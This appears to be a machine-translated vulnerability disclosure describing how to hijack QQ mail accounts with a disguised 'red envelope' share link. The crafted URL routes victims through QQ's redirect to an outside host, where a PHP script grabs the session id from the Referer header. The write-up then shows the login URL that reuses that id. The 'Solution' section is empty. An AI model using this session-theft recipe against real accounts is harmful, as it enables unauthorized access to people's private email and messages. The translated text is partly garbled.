Can I send a "red envelope" to control others' QQ accounts? (Demonstration using QQ mail/xss not required)

Can I send a "red envelope" to control others' QQ accounts? (Demonstration using QQ mail/xss not required)

How do I send a "red packet" to control others' QQ messages (using QQ mail as a demonstration/xss is not required)
 

 

http://connect.qq.com/widget/shareqq/index.html?url=http://jump.qt.qq.com/php/jump/check_url/?url=http://jieshousid.com/f.php&desc=&title=&summary=&pics=https://mqq-imgcache.gtimg.cn/res/mqq/hongbao/img/message_logo_100.png&flash=&site=&style=201&width=32&height=32

This allows you to construct more tempting links.

For example:
 

Script f. php
 

$_SERVER['HTTP_REFERER'];

Get Referer
 

Obtain the sid and construct the following link to go To the QQ mailbox:

Http://w.mail.qq.com/cgi-bin/login? Inclu_sid = obtained sid & inclu_style = 1 & fun = from3g


 

 

 

Solution: